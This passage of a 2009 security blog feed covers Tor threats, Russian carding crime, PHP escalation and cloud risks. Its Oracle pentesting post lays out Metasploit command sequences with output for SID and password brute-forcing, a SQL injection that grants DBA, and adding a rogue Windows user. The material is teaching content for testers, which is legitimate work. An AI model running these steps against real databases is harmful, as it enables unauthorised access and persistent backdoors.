communication.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/Sr7qa6RYFnI/AAAAAAAAAIk/-hfVprg_sK4/s1600-h/September-03-09-pic2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 435px; height: 132px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/Sr7qa6RYFnI/AAAAAAAAAIk/-hfVprg_sK4/s320/September-03-09-pic2.png" alt="" id="BLOGGER_PHOTO_ID_5385999952421328498" border="0" /&gt;&lt;/a&gt;In this joint-relay conversation over the network, a corrupted node (RelayHost D) can identify that 'Shawn' is talking but never know to whom. Similarly, another node (RelayHost G) can tell that somebody is talking to 'Rosi' but don't know who. Thus, the integrity of privacy is secured, however, visualizing a typical Tor network design (Centralized Directory Protocol) can reveal&lt;br /&gt;&lt;div style="text-align: justify;"&gt;other set of threats.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Sr7qrKNpEnI/AAAAAAAAAIs/dSnxX4OjWDA/s1600-h/September-03-09-pic3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 347px; height: 161px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Sr7qrKNpEnI/AAAAAAAAAIs/dSnxX4OjWDA/s320/September-03-09-pic3.png" alt="" id="BLOGGER_PHOTO_ID_5386000231578538610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Practical Security Problems&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Tor hides your identity/location but never encrypt 'COMPLETE' set of network traffic, thus, vulnerable to eavesdropping attack on the internet.&lt;br /&gt;2. Communication on ports like 23, 110, 109 etc should be refused by Tor?&lt;br /&gt;3. Active attack on web cookies (e.g. Gmail Account) are still handy.&lt;br /&gt;4. Before creating new Tor node, you need to be verified by central authority? Does it really exist?&lt;br /&gt;5. What if your node is running anti-virus protection program on the top of win32 platform to detect malicious traffic? What will be the consequences?&lt;br /&gt;6. What if you are relaying through the China node and its ISP is hijacking sessions using SSL MiTM attack.&lt;br /&gt;7. No more than 2 inter-routing relays on one IP address is feasible?&lt;br /&gt;8. Is it really secure to use Tor application directly from USB leaving no traces? How about WINDOWS/Prefetch folder and Registry entries?&lt;br /&gt;9. Problems where communication take place from Tor to Non-Tor node and backward.&lt;br /&gt;10. Abnormal use of proxy settings by the application can result in privacy exposure.&lt;br /&gt;11. Clogging and congestion attacks.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Some Security Measures&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Filter the connections by blocking unwanted directory authorities.&lt;br /&gt;2. Filter unwanted relay IP addresses.&lt;br /&gt;3. Prevent users from finding the Tor service running on your machine.&lt;br /&gt;4. Cap on filtering based on Tor's network fingerprint.&lt;br /&gt;5. Consider adaptive padding to the traffic.&lt;br /&gt;6. Use higher level of encryption as possible (i.e. AES 256).&lt;br /&gt;7. Integrate efficient algorithm for allocating connections safely to Tor circuit.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-5373962980096207201?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/5373962980096207201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/5373962980096207201'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/09/security-threats-in-tor-design.html' title='Security Threats in Tor Design'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WWO0NoYEIHQ/Sr7qQsqYBMI/AAAAAAAAAIc/IpaLxwYN5-I/s72-c/September-03-09-pic1.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-7897079838790192690</id><published>2009-09-13T23:33:00.008-04:30</published><updated>2009-09-13T23:43:11.813-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='carderplant'/><category scheme='http://www.blogger.com/atom/ns#' term='russian cybercrime'/><category scheme='http://www.blogger.com/atom/ns#' term='shadowcrew'/><category scheme='http://www.blogger.com/atom/ns#' term='darkmarket'/><category scheme='http://www.blogger.com/atom/ns#' term='cyber criminals'/><category scheme='http://www.blogger.com/atom/ns#' term='operation firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='carders'/><category scheme='http://www.blogger.com/atom/ns#' term='carding'/><category scheme='http://www.blogger.com/atom/ns#' term='operation cardkeeper'/><title type='text'>Russian Cyberspace: A daylight in the dark world</title><content type='html'>&lt;div style="text-align: justify;"&gt;Due to rapid increase in number of internet users and technology, the magnitude of threat-ratio is also multiplying every year. Cyber crime in today's fast moving world is considered as a potential business. FBI recorded and reported a loss of $265 million during the annual year of 2008. However, these does not cover other billions USD loss counted towards other parts of the world. Due to unfair nature of national and international cyber law enforcement structure and joint efforts of overseas government may result in serious problems between two or more countries.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Sq3BHSARrFI/AAAAAAAAAIM/WHb_aXhEzm0/s1600-h/September-02-09-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 88px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Sq3BHSARrFI/AAAAAAAAAIM/WHb_aXhEzm0/s320/September-02-09-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5381169460613852242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Loss reported always become a part of "strategic revenue recovery plan" for the organizations by imposing higher prices on current products or by increasing the service charges for new or existing customers. Today's cyber crime is highly organized, transitional and very secretive with major criminal groups operating from more than 30 countries. The trend of cybercrime has emerged during the late 1990s to early 2000s in eastern Europe (i.e Republic of Soviet Union and other countries). Due to the presence of injustice and lack of law and order, the highly educated and technologically powered segments of population in Russia conduct sophisticated criminal activities to make their living. Apart from financial motivation, these criminals successfully suppress ethical anxiety and fear of stealing someone else entire life savings&lt;br /&gt;by hiding their identity and forwarding the national justifications.&lt;br /&gt;&lt;br /&gt;Statements like:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;"They deserve what they are getting after what they've done to us"&lt;br /&gt;&lt;/span&gt; &lt;span style="font-style: italic;"&gt;"We are taking back what's rightfully ours"&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;are really common in online forums based in Eastern Europe. The highlights of which can be seen below:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Sq3Bch94jGI/AAAAAAAAAIU/8JX215B7E3w/s1600-h/September-02-09-pic2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 84px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Sq3Bch94jGI/AAAAAAAAAIU/8JX215B7E3w/s320/September-02-09-pic2.JPG" alt="" id="BLOGGER_PHOTO_ID_5381169825676037218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;In October 2004, FBI run a joint operation with Secret Service and USPIS called "Operation Firewall" which resulted in several arrests and termination of online criminal portals, "ShadowCrew" and "CarderPlanet". Other successful operations have also come forward, such as "Operation Cardkeeper" and "DarkMarket" in 2006 targeting the US and Western European criminals, concluded in October 2008 with 60 consecutive arrests. This fear has brought significant changes to the underground community such that many have left this illegal business and took their careers in different directions and those who remain intact gone underground.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-7897079838790192690?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7897079838790192690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/7897079838790192690'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/09/russian-cyberspace-daylight-in-dark.html' title='Russian Cyberspace: A daylight in the dark world'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_WWO0NoYEIHQ/Sq3BHSARrFI/AAAAAAAAAIM/WHb_aXhEzm0/s72-c/September-02-09-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-1152246260727809500</id><published>2009-09-10T15:32:00.012-04:30</published><updated>2009-09-10T16:11:48.810-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='TNS listenser security'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle security assessment'/><category scheme='http://www.blogger.com/atom/ns#' term='assess oracle platform'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle testing methodology'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle security'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit oracle'/><title type='text'>Oracle Security Assessment: The Open Source Approach</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SqldEIGb19I/AAAAAAAAAIE/k4Gjj1U9wAY/s1600-h/September-01-09.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 162px; height: 122px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SqldEIGb19I/AAAAAAAAAIE/k4Gjj1U9wAY/s320/September-01-09.JPG" alt="" id="BLOGGER_PHOTO_ID_5379933555346102226" border="0" /&gt;&lt;/a&gt;For the couple of years, number of Oracle vulnerabilities and exploits have been discovered in no order of standard methodology or appropriate guidelines. Moreover, there is no publicly available PenTesting Framework to check in-built packages for input validation attacks resulting in privilege escalation and data extraction. In this article, I will present the Oracle Pentesting Methodology in seven unique steps.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;1. Discovery&lt;/span&gt;&lt;br /&gt;Port Scanning for Oracle services can be done by using a simple Nmap tool. Oracle default ports are different for different products. But the main "Oracle TNS Listener" will always be using the range of 1521-1540 unless not changed.&lt;br /&gt;For more information on ports used by Oracle, please visit:&lt;br /&gt;http://www.red-database-security.com/whitepaper/oracle_default_ports.html&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;bt#: nmap -sV 192.168.0.100-105 -p 1521&lt;br /&gt;Starting Nmap 4.85BETA8 ( http://nmap.org ) at 2009-06-18 15:25 EDT&lt;br /&gt;Interesting ports on 192.168.0.100:&lt;br /&gt;PORT STATE SERVICE VERSION&lt;br /&gt;1521/tcp open oracle-tns Oracle TNS Listener&lt;br /&gt;Interesting ports on 192.168.0.101:&lt;br /&gt;PORT STATE SERVICE VERSION&lt;br /&gt;1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;2. Version Enumeration/Fingerprinting&lt;/span&gt;&lt;br /&gt;In order to know the exact version of "TNS Listener", we will use Metasploit auxiliary:&lt;br /&gt;&lt;blockquote&gt;    msf auxiliary(tnslsnr_version) &gt; info&lt;br /&gt;Name: Oracle tnslsnr Service Version Query.&lt;br /&gt;Version: 6479&lt;br /&gt;License: Metasploit Framework License (BSD)&lt;br /&gt;Provided by: CG&lt;br /&gt;Basic options:&lt;br /&gt;Name Current Setting Required Description&lt;br /&gt;---- --------------- -------- -----------&lt;br /&gt;RHOSTS yes The target address range or CIDR identifier&lt;br /&gt;RPORT 1521 yes The target port&lt;br /&gt;THREADS 1 yes The number of concurrent threads&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;This module simply queries the tnslsnr service for the Oracle build.&lt;br /&gt;&lt;br /&gt;msf auxiliary(tnslsnr_version) &gt; set RHOSTS 192.168.0.100&lt;br /&gt;RHOSTS =&gt; 192.168.0.100&lt;br /&gt;msf auxiliary(tnslsnr_version) &gt; run&lt;br /&gt;[*] Host 192.168.0.100 is running: 32-bit Windows: Version 10.2.0.1.0 - Production&lt;br /&gt;&lt;br /&gt;msf auxiliary(tnslsnr_version) &gt; set RHOSTS 192.168.0.102&lt;br /&gt;RHOSTS =&gt; 192.168.0.102&lt;br /&gt;msf auxiliary(tnslsnr_version) &gt; run&lt;br /&gt;[*] Host 192.168.0.102 is running: Solaris: Version 10.2.0.1.0 - Production&lt;br /&gt;&lt;br /&gt;msf auxiliary(tnslsnr_version) &gt; set RHOSTS 192.168.0.103&lt;br /&gt;RHOSTS =&gt; 192.168.0.103&lt;br /&gt;msf auxiliary(tnslsnr_version) &gt; run&lt;br /&gt;[*] Host 192.168.0.103 is running: Linux: Version 11.1.0.6.0 - Production&lt;br /&gt;[*] Auxiliary module execution completed&lt;/blockquote&gt;&lt;br /&gt;Now if we want to enumerate the "Oracle SID" for newer versions after 9.2.0.8, we have to put guess or bruteforce it.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    [*] Host 192.168.0.105 is running: 32-bit Windows: Version 9.2.0.1.0 – Production&lt;br /&gt;msf &gt; use auxiliary/scanner/oracle/sid_enum&lt;br /&gt;msf auxiliary(sid_enum) set RHOSTS 192.168.0.105&lt;br /&gt;RHOSTS =&gt; 192.168.0.105&lt;br /&gt;msf auxiliary(sid_enum) &gt; run&lt;br /&gt;[*] Identified SID for 192.168.0.105: PLSExtProc&lt;br /&gt;[*] Identified SID for 192.168.0.105: cyxt&lt;br /&gt;[*] Identified SERVICE_NAME for 192.168.0.105: PLSExtProc&lt;br /&gt;[*] Identified SERVICE_NAME for 192.168.0.105: cyxt&lt;br /&gt;[*] Identified SERVICE_NAME for 192.168.0.105: cyxtXDB&lt;br /&gt;[*] Auxiliary module execution completed&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;Bruteforce Method&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;    msf auxiliary(sid_brute) &gt; run&lt;br /&gt;[*] Starting brute force on 192.168.0.103, using sids&lt;br /&gt;from /home/bt/msf3/dev/data/exploits/sid.txt...&lt;br /&gt;[*] Found SID 'ORCL' for host 192.168.0.103&lt;br /&gt;[*] Auxiliary module execution completed&lt;/blockquote&gt;&lt;br /&gt;Apart from guessing and bruteforcing, we can also use different Oracle components to determine the SID. Such as, oracle servlets and web applications.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;3. Bruteforce Attack&lt;/span&gt;&lt;br /&gt;Using a standard or extended password list, one can bruteforce various combinations of usernames and passwords.&lt;br /&gt;&lt;blockquote&gt;    msf auxiliary(brute_login) &gt; run&lt;br /&gt;&lt;br /&gt;[-] ORA-01017: invalid username/password; logon denied&lt;br /&gt;[-] ORA-01017: invalid username/password; logon denied&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;msf auxiliary(brute_login) &gt; db_notes&lt;br /&gt;[*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=172.10.1.109&lt;br /&gt;type=BRUTEFORCED_ACCOUNT data=SCOTT/TIGER&lt;/blockquote&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;4. Injection Attack &amp;amp; Privilege Exploitation&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;    msf &gt; use auxiliary/sqli/oracle/dbms_export_extension&lt;br /&gt;msf auxiliary(dbms_export_extension) &gt; info&lt;br /&gt;Name: SQL Injection via DBMS_EXPORT_EXTENSION.&lt;br /&gt;Version: $Revision:$&lt;br /&gt;Provided by: MC&lt;br /&gt;Basic options:&lt;br /&gt;Name Current Setting Required Description&lt;br /&gt;---- --------------- -------- -----------&lt;br /&gt;SQL GRANT DBA TO SCOTT yes no SQL to run.&lt;br /&gt;DBPASS TIGER yes The password to authenticate as.&lt;br /&gt;DBUSER SCOTT yes The username to authenticate as.&lt;br /&gt;RHOST 127.0.0.1 yes The Oracle host.&lt;br /&gt;RPORT 1521 yes The TNS port.&lt;br /&gt;SID DEMO yes The sid to authenticate with.&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;This module will escalate a Oracle DB user to DBA by exploiting an&lt;br /&gt;sql injection bug in the DBMS_EXPORT_EXTENSION package.&lt;br /&gt;&lt;br /&gt;msf auxiliary(dbms_export_extension) &gt; set RHOST 192.168.100.25&lt;br /&gt;RHOST =&gt; 192.168.100.25&lt;br /&gt;msf auxiliary(dbms_export_extension) &gt; set SID UNLUCKY&lt;br /&gt;SID =&gt; UNLUCKY&lt;br /&gt;msf auxiliary(dbms_export_extension) &gt; run&lt;br /&gt;&lt;br /&gt;[*] Sending package...&lt;br /&gt;[*] Done...&lt;br /&gt;[*] Sending body...&lt;br /&gt;[*] Done...&lt;br /&gt;[*] Sending declare...&lt;br /&gt;[*] Done...&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;msf auxiliary(dbms_export_extension) &gt;&lt;br /&gt;&lt;br /&gt;msf auxiliary(oracle_sql) &gt; set SQL select * from user_role_privs&lt;br /&gt;SQL =&gt; select * from user_role_privs&lt;br /&gt;msf auxiliary(oracle_sql) &gt; run&lt;br /&gt;[*] Sending SQL...&lt;br /&gt;[*] SCOTT,CONNECT,NO,YES,NO&lt;br /&gt;&lt;div style="text-align: left;"&gt;    [*]SCOTT,DBA,NO,YES,NO&lt;--New Privileges :-)     [*] SCOTT,RESOURCE,NO,YES,NO     [*] Done...     [*] Auxiliary module execution completed     msf auxiliary(oracle_sql) &gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;5. Post Exploitation&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;    msf auxiliary(win32exec) &gt; set CMD "net user dba P@ssW0rd /add“&lt;br /&gt;CMD =&gt; net user dba P@ssW0rd1234 /add&lt;br /&gt;msf auxiliary(win32exec) &gt; run&lt;br /&gt;[*] Creating MSF JAVA class...&lt;br /&gt;[*] Done...&lt;br /&gt;[*] Creating MSF procedure...&lt;br /&gt;[*] Done...&lt;br /&gt;[*] Sending command: 'net user dba P@ssW0rd /add‘&lt;br /&gt;[*] Done...&lt;br /&gt;[*] Auxiliary module execution completed&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;br /&gt;These set of steps give us a clear view of exploiting the Oracle infrastucture following similar or other modified Penetration Testing methodology. Thus, it is quite important for security professionals to understand and correlate the ideal testing methods to derive the requirements for Oracle platform security.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-1152246260727809500?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1152246260727809500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/1152246260727809500'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/09/oracle-security-assessment-open-source.html' title='Oracle Security Assessment: The Open Source Approach'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_WWO0NoYEIHQ/SqldEIGb19I/AAAAAAAAAIE/k4Gjj1U9wAY/s72-c/September-01-09.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-6464423254343677335</id><published>2009-08-31T19:04:00.004-04:30</published><updated>2009-08-31T19:08:49.163-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploit hardened webserver'/><category scheme='http://www.blogger.com/atom/ns#' term='php exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='0day php vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='php vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='escalating privileges'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit hardened php server'/><title type='text'>Escalating from PHP Hardend Environment</title><content type='html'>&lt;div style="text-align: justify;"&gt;There are number of PHP threats and vulnerabilities which have been reported during the past few years. These include, file inclusion attacks, remote file upload vulnerability, insecure function injection (eval,create_function,preg_replace), etc. Executing malicious shellcode over vulnerable web servers is still easier but it is quiet challenging when "post exploitation" topic is highlighted.&lt;br /&gt;&lt;br /&gt;Today many of PHP-based web servers are hardened by default and running with low privileges. Thus, it is extremely challenging for the attacker to gain full control over the server. Let's take a brief overview on common type of protection schemes used to hardened PHP environment:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;1. Limit the PHP code (i.e. control each input/output)&lt;br /&gt;2. Limit the PHP interpreter&lt;br /&gt;3. Harden the code against buffer overflow + memory corruption&lt;br /&gt;4. Limit the possibility of arbitrary code execution&lt;br /&gt;5. Non-writable filesystem&lt;br /&gt;6. safe_mode (disable access to configuration settings, limit access to files/directories, limit environmental variables)&lt;br /&gt;7. disable_function/disable_classes (remove un-necessary functions and classes)&lt;br /&gt;8. Use memory manager (malloc/mmap) to apply safe_unlink feature and three canaries (metadata,buffer(before/after)&lt;br /&gt;9. Kernel-level protection with ASLR (address space layout randomization), mprotect(), Apparmor, SELinux, GRSecurity&lt;br /&gt;&lt;br /&gt;Now take some highlights on PHP vulnerabilities and exploitable condition:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. &lt;/span&gt;Caller of the PHP application can force parameter to be passed by reference&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;    function increase($a)&lt;br /&gt;    {&lt;br /&gt;        $a++;&lt;br /&gt;    }&lt;br /&gt;    $z = 7;&lt;br /&gt;    // pass $z as a reference&lt;br /&gt;    increase(&amp;amp;$z);&lt;br /&gt;    echo $z,"\n";&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;This happens because we are unable to disabled the internal "allow_call_time_pass_by_reference" function.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. &lt;/span&gt;executor_globals() to find the interesting target, it contains list of functions/ini entries/jmp_buf but the memory position is unknown and&lt;br /&gt;   it changes the structure with every single PHP version.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. &lt;/span&gt;To execute the user choice of code, function dl() comes in handy but it requires:&lt;br /&gt;-platform independent library&lt;br /&gt;-a writable directory&lt;br /&gt;-enable_dl should be activated&lt;br /&gt;-setting extension_dir to the shared library directory&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. &lt;/span&gt;Attacking under x86 linux platform:&lt;br /&gt;-PHP array leaks the pDestructor pointer which points to PHP code segment&lt;br /&gt;-scan until we find ELF header in memory&lt;br /&gt;-once ELF header discovered, we can also find imported functions&lt;br /&gt;-select the function which have been imported from libc (memcpy)&lt;br /&gt;-from there we can look any function within libc and access their addresses&lt;br /&gt;-address to shellcode can be written and executed&lt;br /&gt;-copying shellcode into the writable text-segment and execute it&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-6464423254343677335?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/6464423254343677335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/6464423254343677335'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/08/escalating-from-php-hardend-environment.html' title='Escalating from PHP Hardend Environment'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-919690295610596789</id><published>2009-08-26T12:48:00.005-04:30</published><updated>2009-08-26T13:10:03.771-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SaaS security'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Cloud'/><category scheme='http://www.blogger.com/atom/ns#' term='Software as a Service'/><category scheme='http://www.blogger.com/atom/ns#' term='Cloud security issues'/><category scheme='http://www.blogger.com/atom/ns#' term='IaaS'/><category scheme='http://www.blogger.com/atom/ns#' term='Cloud Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Platform as a Service'/><category scheme='http://www.blogger.com/atom/ns#' term='SaaS'/><category scheme='http://www.blogger.com/atom/ns#' term='Infrastructure as a service'/><category scheme='http://www.blogger.com/atom/ns#' term='PaaS'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud taxonomy'/><category scheme='http://www.blogger.com/atom/ns#' term='Cloud Computing'/><title type='text'>Cloud Computing: A Security Outlook</title><content type='html'>&lt;div style="text-align: justify;"&gt;A 'cloud' in computing environment is the combination of Infrastructure as a service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS) components. Well, most of us may confuse it with ASP (Application Service Provisioning) strategy, which is completely wrong. In simple terms, cloud is a virtualized, dynamically scalable, shared fabric and shared hardware solution to the users. It avoids capital expenditure (CapEx) on purchasing expensive hardware, software and other services by renting the usage from a third-party provider under SLA (Service-level Agreement). For more information, a cloud taxonomy is attached below.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SpVvOuOpTBI/AAAAAAAAAH8/erFLLQnDJ4M/s1600-h/August-03-09.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 258px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/SpVvOuOpTBI/AAAAAAAAAH8/erFLLQnDJ4M/s320/August-03-09.png" alt="" id="BLOGGER_PHOTO_ID_5374324029054864402" border="0" /&gt;&lt;/a&gt;When taking insights of security within Cloud Computing domain give a clear view of risks involved from consistency, interoperability, confidentiality, availability and integrity point of view, such as:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;-Host visibility within cloud&lt;br /&gt;-Trust Exploitation&lt;br /&gt;-Data Privacy issues&lt;br /&gt;-Immature logging process&lt;br /&gt;-Data center tripwire&lt;br /&gt;-Application security vulnerabilities&lt;br /&gt;-Backdoored filesystem/virtualized operating systems/applications&lt;br /&gt;-Virtualization security issues&lt;br /&gt;-Content ownership/Intellectual property rights&lt;br /&gt;-Cleartext data storage and transfer vs SSL/EV-SSL&lt;br /&gt;-Use of weak encryption technology&lt;br /&gt;-Centralized approach&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hence, before approaching any cloud computing vendor its better to investigate their policies and procedures regarding security of your company's data transactions. This can be analyzed on the following basis:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;-Data segregation and use of strong encryption technology&lt;br /&gt;-Data hosting location&lt;br /&gt;-Recognized under industry standards and regulatory compliance.&lt;br /&gt;-Disaster recovery and business continuity assurance&lt;br /&gt;-Privileged access control&lt;br /&gt;-Availability of resources and data&lt;br /&gt;-Viability of data in case if the vendor goes out of business&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;A good set of cloud service can be differentiated under agility, sustainability, cost, multi-tenancy, reliability, scalability and security. Additionally, from security perspective, a 'focused penetration testing' may rest assure a vendor from any false sense of security and thus save the cost of any data loss or liability 